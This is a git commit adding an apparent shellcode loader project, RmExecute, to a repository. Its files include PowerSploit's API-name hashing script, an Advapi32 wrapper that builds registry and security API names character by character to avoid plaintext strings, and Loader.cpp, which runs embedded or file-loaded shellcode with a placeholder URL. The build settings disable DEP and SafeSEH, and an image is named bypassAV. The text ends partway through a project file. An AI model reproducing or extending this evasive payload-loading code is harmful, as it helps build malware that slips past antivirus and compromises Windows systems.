first commit

This commit is contained in:
bakabie 2021-02-22 22:23:52 +08:00
parent 3eda35affb
commit 9ff883f8b1
22 changed files with 1887 additions and 0 deletions

117
Get-FunctionsHash.ps1 Normal file
View File

@ -0,0 +1,117 @@
function Get-FunctionHash
{
<#
.SYNOPSIS
Outputs a module and function hash that can be passed to the
GetProcAddressWithHash function.
PowerSploit Function: Get-FunctionHash
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-FunctionHash calculates a hash that can be passed to
GetProcAddressWithHash - a C function that is used to resolve Win32
library functions. Passing a hash to a function address resolver
prevents plaintext strings from being sent in the clear in shellcode.
A python implementation of this algorithm is present in Meatsploit
will perform hash collision detection.
.PARAMETER Module
Specifies the module to be hashed. Be sure to include the file extension.
The module name will be normalized to upper case.
.PARAMETER Function
Specifies the function to be hashed. The function name is case-sensitive.
.PARAMETER RorValue
Specifies the value by which the hashing algorithm rotates right. The
range of possibles values is 1-31.
.EXAMPLE
Get-FunctionHash kernel32.dll LoadLibraryA
.OUTPUTS
System.String
Outputs a hexadecimal representation of the function hash.
.LINK
http://www.exploit-monday.com/
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Function,
[Parameter(Position = 2)]
[ValidateRange(1, 31)]
[String]
$RorValue = 13
)
$MethodInfo = New-Object Reflection.Emit.DynamicMethod('Ror', [UInt32], @([UInt32], [UInt32]))
$ILGen = $MethodInfo.GetILGenerator(8)
# C# equivalent of: return x >> n | x << 32 - n;
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
$ILGen.Emit([Reflection.Emit.OpCodes]::And)
$ILGen.Emit([Reflection.Emit.OpCodes]::Shr_Un)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 32)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Sub)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
$ILGen.Emit([Reflection.Emit.OpCodes]::And)
$ILGen.Emit([Reflection.Emit.OpCodes]::Shl)
$ILGen.Emit([Reflection.Emit.OpCodes]::Or)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
$Delegate = [Func``3[UInt32, UInt32, UInt32]]
$Ror = $MethodInfo.CreateDelegate($Delegate)
$MethodInfo = New-Object Reflection.Emit.DynamicMethod('Add', [UInt32], @([UInt32], [UInt32]))
$ILGen = $MethodInfo.GetILGenerator(2)
# C# equivalent of: return x + y;
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Add)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
$Add = $MethodInfo.CreateDelegate($Delegate)
$UnicodeEncoder = [Text.Encoding]::Unicode
$Module = $Module.ToUpper()
[Byte[]] $ModuleBytes = $UnicodeEncoder.GetBytes($Module) + [Byte[]] @(0, 0)
$ModuleHash = [UInt32] 0
# Iterate over each byte of the unicode module string including nulls
for ($i = 0; $i -lt $ModuleBytes.Length; $i++)
{
$ModuleHash = $Ror.Invoke($ModuleHash, 13)
$ModuleHash = $Add.Invoke($ModuleHash, $ModuleBytes[$i])
}
$AsciiEncoder = [Text.Encoding]::ASCII
[Byte[]] $FunctionBytes = $AsciiEncoder.GetBytes($Function) + @([Byte] 0)
$FunctionHash = [UInt32] 0
# Iterate over each byte of the function string including the null terminator
for ($i = 0; $i -lt $FunctionBytes.Length; $i++)
{
$FunctionHash = $Ror.Invoke($FunctionHash, $RorValue)
$FunctionHash = $Add.Invoke($FunctionHash, $FunctionBytes[$i])
}
# Add the function hash to the module hash
$FinalHash = $Add.Invoke($ModuleHash, $FunctionHash)
# Write out the hexadecimal representation of the hash
Write-Output "0x$($FinalHash.ToString('X8'))"
}

BIN
Image/bypassAV.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

BIN
Image/hash.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.1 KiB

37
RmExecute.sln Normal file
View File

@ -0,0 +1,37 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30907.101
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RmExecute", "RmExecute\RmExecute.vcxproj", "{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
RUN_EXE_MT|x64 = RUN_EXE_MT|x64
RUN_EXE_MT|x86 = RUN_EXE_MT|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x64.ActiveCfg = Debug|x64
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x64.Build.0 = Debug|x64
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x86.ActiveCfg = Debug|Win32
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x86.Build.0 = Debug|Win32
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x64.ActiveCfg = Release|x64
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x64.Build.0 = Release|x64
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x86.ActiveCfg = Release|Win32
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x86.Build.0 = Release|Win32
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x64.ActiveCfg = RUN_EXE_MT|x64
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x64.Build.0 = RUN_EXE_MT|x64
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x86.ActiveCfg = RUN_EXE_MT|Win32
{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x86.Build.0 = RUN_EXE_MT|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A0AD0DA4-C5DF-4477-8B1F-B4BAFD5BC54A}
EndGlobalSection
EndGlobal

370
RmExecute/Advapi32.h Normal file
View File

@ -0,0 +1,370 @@
//这个类专门导出Advapi32.dll中的系统API
class Advapi32 :BaseInclude
{
#define Advapi32_EXTEND_H win.advapi32
#define Advapi32_DEF(x) if (!Advapi32Base)GetAdvapi32();if (!g_##x##)Init_##x##();
public:
HMODULE Advapi32Base = 0;//Shell32.dll的模块基址
public:
typedef LSTATUS(WINAPI* fnRegCreateKeyExA)(
_In_ HKEY hKey,
_In_ LPCSTR lpSubKey,
_Reserved_ DWORD Reserved,
_In_opt_ LPSTR lpClass,
_In_ DWORD dwOptions,
_In_ REGSAM samDesired,
_In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_Out_ PHKEY phkResult,
_Out_opt_ LPDWORD lpdwDisposition
);
fnRegCreateKeyExA g_RegCreateKeyExA = 0;
typedef LSTATUS(WINAPI* fnRegSetValueExA)(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpValueName,
_Reserved_ DWORD Reserved,
_In_ DWORD dwType,
_In_reads_bytes_opt_(cbData) CONST BYTE * lpData,
_In_ DWORD cbData
);
fnRegSetValueExA g_RegSetValueExA = 0;
typedef LSTATUS(WINAPI* fnRegCloseKey)(
_In_ HKEY hKey
);
fnRegCloseKey g_RegCloseKey = 0;
typedef LSTATUS(WINAPI* fnRegOpenKeyExA)(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpSubKey,
_In_opt_ DWORD ulOptions,
_In_ REGSAM samDesired,
_Out_ PHKEY phkResult
);
fnRegOpenKeyExA g_RegOpenKeyExA = 0;
typedef LSTATUS(WINAPI* fnRegEnumKeyExA)(
_In_ HKEY hKey,
_In_ DWORD dwIndex,
_Out_writes_to_opt_(*lpcchName, *lpcchName + 1) LPSTR lpName,
_Inout_ LPDWORD lpcchName,
_Reserved_ LPDWORD lpReserved,
_Out_writes_to_opt_(*lpcchClass, *lpcchClass + 1) LPSTR lpClass,
_Inout_opt_ LPDWORD lpcchClass,
_Out_opt_ PFILETIME lpftLastWriteTime
);
fnRegEnumKeyExA g_RegEnumKeyExA = 0;
typedef BOOL(WINAPI* fnLookupAccountNameA)(
_In_opt_ LPCTSTR lpSystemName,
_In_ LPCTSTR lpAccountName,
_Out_opt_ PSID Sid,
_Inout_ LPDWORD cbSid,
_Out_opt_ LPTSTR ReferencedDomainName,
_Inout_ LPDWORD cchReferencedDomainName,
_Out_ PSID_NAME_USE peUse
);
fnLookupAccountNameA g_LookupAccountNameA = 0;
typedef BOOL(WINAPI* fnGetFileSecurityA)(
_In_ LPCSTR lpFileName,
_In_ SECURITY_INFORMATION RequestedInformation,
_Out_writes_bytes_to_opt_(nLength, *lpnLengthNeeded) PSECURITY_DESCRIPTOR pSecurityDescriptor,
_In_ DWORD nLength,
_Out_ LPDWORD lpnLengthNeeded
);
fnGetFileSecurityA g_GetFileSecurityA = 0;
typedef BOOL(WINAPI* fnGetSecurityDescriptorDacl)(
_In_ PSECURITY_DESCRIPTOR pSecurityDescriptor,
_Out_ LPBOOL lpbDaclPresent,
_Outptr_ PACL * pDacl,
_Out_ LPBOOL lpbDaclDefaulted
);
fnGetSecurityDescriptorDacl g_GetSecurityDescriptorDacl = 0;
typedef BOOL(WINAPI* fnGetAclInformation)(
_In_ PACL pAcl,
_Out_writes_bytes_(nAclInformationLength) LPVOID pAclInformation,
_In_ DWORD nAclInformationLength,
_In_ ACL_INFORMATION_CLASS dwAclInformationClass
);
fnGetAclInformation g_GetAclInformation = 0;
typedef BOOL(WINAPI* fnGetAce)(
_In_ PACL pAcl,
_In_ DWORD dwAceIndex,
_Outptr_ LPVOID * pAce
);
fnGetAce g_GetAce = 0;
typedef BOOL(WINAPI* fnEqualSid)(
_In_ PSID pSid1,
_In_ PSID pSid2
);
fnEqualSid g_EqualSid = 0;
typedef BOOL(WINAPI* fnGetUserNameA)(
_Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer,
_Inout_ LPDWORD pcbBuffer
);
fnGetUserNameA g_GetUserNameA = 0;
public:
Advapi32()
{
}
void GetAdvapi32()//初始化加载上预定好的函数的偏移这里是ShellExecuteA函数
{
char Advapi32[] = { 'A', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', '\0' };
Advapi32Base = fLoadLibraryA(Advapi32);
}
//API寻址导出
public:
void __stdcall Init_RegCreateKeyExA()
{
char szRegCreateKeyExA[16] = { 'R', 'e', 'g', 'C', 'r', 'e', 'a', 't', 'e', 'K', 'e', 'y', 'E', 'x', 'A', 0 };
g_RegCreateKeyExA = (fnRegCreateKeyExA)fGetProcAddress(Advapi32Base, szRegCreateKeyExA);
}
LSTATUS
APIENTRY
RegCreateKeyExA(
_In_ HKEY hKey,
_In_ LPCSTR lpSubKey,
_Reserved_ DWORD Reserved,
_In_opt_ LPSTR lpClass,
_In_ DWORD dwOptions,
_In_ REGSAM samDesired,
_In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_Out_ PHKEY phkResult,
_Out_opt_ LPDWORD lpdwDisposition
)
{
Advapi32_DEF(RegCreateKeyExA);
return g_RegCreateKeyExA(hKey, lpSubKey, Reserved, lpClass, dwOptions, samDesired, lpSecurityAttributes, phkResult, lpdwDisposition);
}
void __stdcall Init_RegSetValueExA()
{
char szRegSetValueExA[15] = { 'R', 'e', 'g', 'S', 'e', 't', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A', 0 };
g_RegSetValueExA = (fnRegSetValueExA)fGetProcAddress(Advapi32Base, szRegSetValueExA);
}
LSTATUS
APIENTRY
RegSetValueExA(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpValueName,
_Reserved_ DWORD Reserved,
_In_ DWORD dwType,
_In_reads_bytes_opt_(cbData) CONST BYTE * lpData,
_In_ DWORD cbData
)
{
Advapi32_DEF(RegSetValueExA);
return g_RegSetValueExA(hKey, lpValueName, Reserved, dwType, lpData, cbData);
}
void __stdcall Init_RegCloseKey()
{
char szRegCloseKey[12] = { 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y', 0 };
g_RegCloseKey = (fnRegCloseKey)fGetProcAddress(Advapi32Base, szRegCloseKey);
}
LSTATUS
APIENTRY
RegCloseKey(
_In_ HKEY hKey
)
{
Advapi32_DEF(RegCloseKey);
return g_RegCloseKey(hKey);
}
void __stdcall Init_RegOpenKeyExA()
{
char szRegOpenKeyExA[14] = { 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A', 0 };
g_RegOpenKeyExA = (fnRegOpenKeyExA)fGetProcAddress(Advapi32Base, szRegOpenKeyExA);
}
LSTATUS
APIENTRY
RegOpenKeyExA(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpSubKey,
_In_opt_ DWORD ulOptions,
_In_ REGSAM samDesired,
_Out_ PHKEY phkResult
)
{
Advapi32_DEF(RegOpenKeyExA);
return g_RegOpenKeyExA(hKey, lpSubKey, ulOptions, samDesired, phkResult);
}
void __stdcall Init_RegEnumKeyExA()
{
char szRegEnumKeyExA[14] = { 'R', 'e', 'g', 'E', 'n', 'u', 'm', 'K', 'e', 'y', 'E', 'x', 'A', 0 };
g_RegEnumKeyExA = (fnRegEnumKeyExA)fGetProcAddress(Advapi32Base, szRegEnumKeyExA);
}
LSTATUS
APIENTRY
RegEnumKeyExA(
_In_ HKEY hKey,
_In_ DWORD dwIndex,
_Out_writes_to_opt_(*lpcchName, *lpcchName + 1) LPSTR lpName,
_Inout_ LPDWORD lpcchName,
_Reserved_ LPDWORD lpReserved,
_Out_writes_to_opt_(*lpcchClass, *lpcchClass + 1) LPSTR lpClass,
_Inout_opt_ LPDWORD lpcchClass,
_Out_opt_ PFILETIME lpftLastWriteTime
)
{
Advapi32_DEF(RegEnumKeyExA);
return g_RegEnumKeyExA(hKey, dwIndex, lpName, lpcchName, lpReserved, lpClass, lpcchClass, lpftLastWriteTime);
}
void __stdcall Init_LookupAccountNameA()
{
char szLookupAccountNameA[19] = { 'L', 'o', 'o', 'k', 'u', 'p', 'A', 'c', 'c', 'o', 'u', 'n', 't', 'N', 'a', 'm', 'e','A', 0 };
g_LookupAccountNameA = (fnLookupAccountNameA)fGetProcAddress(Advapi32Base, szLookupAccountNameA);
}
BOOL
WINAPI
LookupAccountNameA(
_In_opt_ LPCTSTR lpSystemName,
_In_ LPCTSTR lpAccountName,
_Out_opt_ PSID Sid,
_Inout_ LPDWORD cbSid,
_Out_opt_ LPTSTR ReferencedDomainName,
_Inout_ LPDWORD cchReferencedDomainName,
_Out_ PSID_NAME_USE peUse
)
{
Advapi32_DEF(LookupAccountNameA);
return g_LookupAccountNameA(lpSystemName, lpAccountName, Sid, cbSid, ReferencedDomainName, cchReferencedDomainName, peUse);
}
void __stdcall Init_GetFileSecurityA()
{
char szGetFileSecurityA[18] = { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'A', 0 };
g_GetFileSecurityA = (fnGetFileSecurityA)fGetProcAddress(Advapi32Base, szGetFileSecurityA);
}
BOOL
WINAPI
GetFileSecurityA(
_In_ LPCSTR lpFileName,
_In_ SECURITY_INFORMATION RequestedInformation,
_Out_writes_bytes_to_opt_(nLength, *lpnLengthNeeded) PSECURITY_DESCRIPTOR pSecurityDescriptor,
_In_ DWORD nLength,
_Out_ LPDWORD lpnLengthNeeded
)
{
Advapi32_DEF(GetFileSecurityA);
return g_GetFileSecurityA(lpFileName, RequestedInformation, pSecurityDescriptor, nLength, lpnLengthNeeded);
}
void __stdcall Init_GetSecurityDescriptorDacl()
{
char szGetSecurityDescriptorDacl[26] = { 'G', 'e', 't', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'D', 'e', 's', 'c', 'r', 'i', 'p', 't', 'o', 'r', 'D', 'a', 'c', 'l', 0 };
g_GetSecurityDescriptorDacl = (fnGetSecurityDescriptorDacl)fGetProcAddress(Advapi32Base, szGetSecurityDescriptorDacl);
}
BOOL
WINAPI
GetSecurityDescriptorDacl(
_In_ PSECURITY_DESCRIPTOR pSecurityDescriptor,
_Out_ LPBOOL lpbDaclPresent,
_Outptr_ PACL * pDacl,
_Out_ LPBOOL lpbDaclDefaulted
)
{
Advapi32_DEF(GetSecurityDescriptorDacl);
return g_GetSecurityDescriptorDacl(pSecurityDescriptor, lpbDaclPresent, pDacl, lpbDaclDefaulted);
}
void __stdcall Init_GetAclInformation()
{
char szGetAclInformation[18] = { 'G', 'e', 't', 'A', 'c', 'l', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 };
g_GetAclInformation = (fnGetAclInformation)fGetProcAddress(Advapi32Base, szGetAclInformation);
}
BOOL
WINAPI
GetAclInformation(
_In_ PACL pAcl,
_Out_writes_bytes_(nAclInformationLength) LPVOID pAclInformation,
_In_ DWORD nAclInformationLength,
_In_ ACL_INFORMATION_CLASS dwAclInformationClass
)
{
Advapi32_DEF(GetAclInformation);
return g_GetAclInformation(pAcl, pAclInformation, nAclInformationLength, dwAclInformationClass);
}
void __stdcall Init_GetAce()
{
char szGetAce[7] = { 'G', 'e', 't', 'A', 'c', 'e', 0 };
g_GetAce = (fnGetAce)fGetProcAddress(Advapi32Base, szGetAce);
}
BOOL
WINAPI
GetAce(
_In_ PACL pAcl,
_In_ DWORD dwAceIndex,
_Outptr_ LPVOID * pAce
)
{
Advapi32_DEF(GetAce);
return g_GetAce(pAcl, dwAceIndex, pAce);
}
void __stdcall Init_EqualSid()
{
char szEqualSid[9] = { 'E', 'q', 'u', 'a', 'l', 'S', 'i', 'd', 0 };
g_EqualSid = (fnEqualSid)fGetProcAddress(Advapi32Base, szEqualSid);
}
BOOL
WINAPI
EqualSid(
_In_ PSID pSid1,
_In_ PSID pSid2
)
{
Advapi32_DEF(EqualSid);
return g_EqualSid(pSid1, pSid2);
}
void __stdcall Init_GetUserNameA()
{
char szGetUserNameA[14] = { 'G', 'e', 't', 'U', 's', 'e', 'r', 'N', 'a', 'm', 'e', 'A', 0 };
g_GetUserNameA = (fnGetUserNameA)fGetProcAddress(Advapi32Base, szGetUserNameA);
}
BOOL
WINAPI
GetUserNameA(
_Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer,
_Inout_ LPDWORD pcbBuffer
)
{
Advapi32_DEF(GetUserNameA);
return g_GetUserNameA(lpBuffer, pcbBuffer);
}
#define GetUserNameA Advapi32_EXTEND_H.GetUserNameA
#define EqualSid Advapi32_EXTEND_H.EqualSid
#define GetAce Advapi32_EXTEND_H.GetAce
#define GetAclInformation Advapi32_EXTEND_H.GetAclInformation
#define GetSecurityDescriptorDacl Advapi32_EXTEND_H.GetSecurityDescriptorDacl
#define GetFileSecurityA Advapi32_EXTEND_H.GetFileSecurityA
#define LookupAccountNameA Advapi32_EXTEND_H.LookupAccountNameA
#define RegEnumKeyExA Advapi32_EXTEND_H.RegEnumKeyExA
#define RegOpenKeyExA Advapi32_EXTEND_H.RegOpenKeyExA
#define RegCloseKey Advapi32_EXTEND_H.RegCloseKey
#define RegSetValueExA Advapi32_EXTEND_H.RegSetValueExA
#define RegCreateKeyExA Advapi32_EXTEND_H.RegCreateKeyExA
};

155
RmExecute/Loader.cpp Normal file
View File

@ -0,0 +1,155 @@
// RcDllShelcode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<Windows.h>
#include"ShellCode.h"
#pragma warning(disable:4996)
//#pragma comment(linker, "/section:.data,RWE")
DWORD ReadFileData(char *szFilePath, char *pBuf)
{
DWORD dwBytesRead;
HANDLE hFile;
hFile = CreateFile(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, 0);
if (dwFileSize == 0)
{
CloseHandle(hFile);
return 0;
}
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
return dwFileSize;
}
DWORD GetFileSizeLen(char *szSource)
{
HANDLE hFile;
hFile = CreateFile(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBoxA(NULL, "文件未找到!", NULL, NULL);
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, 0);
if (dwFileSize == 0)
{
MessageBoxA(NULL, "文件长度为零!", NULL, NULL);
CloseHandle(hFile);
return 0;
}
CloseHandle(hFile);
return dwFileSize;
}
#ifndef RUNEXEMT
void RunShellCode()
{
int dwShellCodeLen = (int)mmLoaderSCEnd - (int)mmLoaderSCStart;
void* shellcodeEnter = mmLoaderSCStart;
typedef void(WINAPI* fnFun)(
char*
);
char URL[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
fnFun Shellcode = (fnFun)(shellcodeEnter);
Shellcode(URL);
}
#else
void RunShellCode()
{
char shelname[] = "123.bin";
DWORD filelen = GetFileSizeLen(shelname);
char *filebuf = new char[filelen];
ReadFileData(shelname, filebuf);
char URL[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
typedef void(WINAPI* fnFun)(
char*
);
fnFun Shellcode = (fnFun)(filebuf);
Shellcode(URL);
}
#endif
/*
Shelocde编写,,
Debug模式下shelcode代码是否可以正常跑起来
Release模式为提取shelcodecall的汇编机器码
RUN_EXE_MT exe
*/
#ifdef RUNEXEMT
/*
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
*/
int _tmain(int argc, _TCHAR* argv[])
{
#else
int _tmain(int argc, _TCHAR* argv[])
{
#endif
#ifdef _DEBUG
RunShellCode();
return 0;
#else
//启用加解密的开关
// #define RC4_EN
//长度
int dwShellCodeLen = (int)mmLoaderSCEnd - (int)mmLoaderSCStart;
void * shellcodeEnter =mmLoaderSCStart;
//生成shellcode文件
FILE *fp;
fp = fopen("123.bin", "w+b");
if (fp)
{
#ifdef RC4_EN
fwrite(shellcodeEnter, (dwShellCodeLen + sizeof(s_flag)*2), 1, fp);
#else
fwrite(shellcodeEnter, dwShellCodeLen, 1, fp);
#endif
fclose(fp);
}
return 0;
#endif
}

View File

@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project>
<ProjectOutputs>
<ProjectOutput>
<FullPath>C:\Users\admin\Desktop\RcDllShelcode\RUN_EXE_MT\RcDllShelcode.exe</FullPath>
</ProjectOutput>
</ProjectOutputs>
<ContentFiles />
<SatelliteDlls />
<NonRecipeFileRefs />
</Project>

View File

@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project>
<ProjectOutputs>
<ProjectOutput>
<FullPath>C:\Users\admin\Desktop\RcDllShelcode\RUN_EXE_MT\RmExecute.exe</FullPath>
</ProjectOutput>
</ProjectOutputs>
<ContentFiles />
<SatelliteDlls />
<NonRecipeFileRefs />
</Project>

178
RmExecute/RmExecute.vcxproj Normal file
View File

@ -0,0 +1,178 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="RUN_EXE_MT|Win32">
<Configuration>RUN_EXE_MT</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="RUN_EXE_MT|x64">
<Configuration>RUN_EXE_MT</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>RcDllShelcode</RootNamespace>
<ProjectName>RmExecute</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|x64'">
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<AdditionalOptions>/Gs32768 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<DataExecutionPrevention>false</DataExecutionPrevention>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
